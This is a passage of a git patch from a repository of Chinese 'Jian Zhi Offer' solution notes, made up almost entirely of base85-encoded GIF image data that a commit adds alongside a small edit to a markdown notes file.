zv2-5O2@PJG?bqfw?szO{<9ScMI>)D)-JhSoTn<^i|9dcf8Zq+V)&vv(L&64U{dffH
z`*{vdM}x&k(Rvg0-h+cY1v#wk2K>$<cS$M(D&aw?jA~<u%sf^a&Y4j{aVNk~dV%#!
zFV7PP>488b=L||xkzEh6`YzdOc%T8@8YwU9Iebz6bFqY!l3LeH|9%IV)R~Zj-8gf>
z8IvbT$4!GO`#B!uO7tIXDc7~Q{q~rqu(H8EYsMqESrf}R@TTT#+%C{;q|+Y;<~;oV
z)HWyQW*ma^*b-E-kTetgc>zZ|S|R06!%lTY9qleJj!!dDHo@4DlyeHSPG5hJT%4M|
z6wRB&p4q>@=Bhg8%Aqkt*Yhm@e0JTktFk3wIyB}k$-0-ZPdHxGF3A;H;$#bh+CQrM
zJajs5HbC^|zg|`$q%6l-%Iy>SM3*M46kRprTPGI(t}^;?ytrqKd=|sp5K&+xMPe;`
ztfR;471xLHDfx~kJ$|}02eEH$PP{o6wSEp-e>h6<NA&n_4&Jsf_+CJK-6fs8{IFWN
zFW>wSbBWri-UJi`h|zdXI=i}ILp*}qvDPkE+}wQ6_!)a#0<`~~|9{PZ|2g^pzW^m+
B!EFEl

literal 0
HcmV?d00001


From 47bccabb695954ec544eba12cb5c64d430b86a33 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 24 Jan 2019 10:06:09 +0800
Subject: [PATCH 039/100] auto commit

---
 ..._u5C3E_u5230_u5934_u6253_1548293773431.gif | Bin 0 -> 16384 bytes
 ..._u5C3E_u5230_u5934_u6253_1548293972480.gif | Bin 0 -> 6144 bytes
 ..._u5C3E_u5230_u5934_u6253_1548294571338.gif | Bin 0 -> 17408 bytes
 ..._u5C3E_u5230_u5934_u6253_1548295232667.gif | Bin 0 -> 16384 bytes
 docs/notes/剑指 offer 题解.md                 |  22 ++++++------------
 ..._u5C3E_u5230_u5934_u6253_1548293773431.gif | Bin 0 -> 16384 bytes
 ..._u5C3E_u5230_u5934_u6253_1548293972480.gif | Bin 0 -> 6144 bytes
 ..._u5C3E_u5230_u5934_u6253_1548294571338.gif | Bin 0 -> 17408 bytes
 ..._u5C3E_u5230_u5934_u6253_1548295232667.gif | Bin 0 -> 16384 bytes
 9 files changed, 7 insertions(+), 15 deletions(-)
 create mode 100644 docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif
 create mode 100644 docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293972480.gif
 create mode 100644 docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif
 create mode 100644 docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif
 create mode 100644 docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif
 create mode 100644 docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293972480.gif
 create mode 100644 docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif
 create mode 100644 docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif

diff --git a/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif b/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif
new file mode 100644
index 0000000000000000000000000000000000000000..c8744a8c1a85da89916cf30b777cf2b53c1e499f
GIT binary patch
literal 16384
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
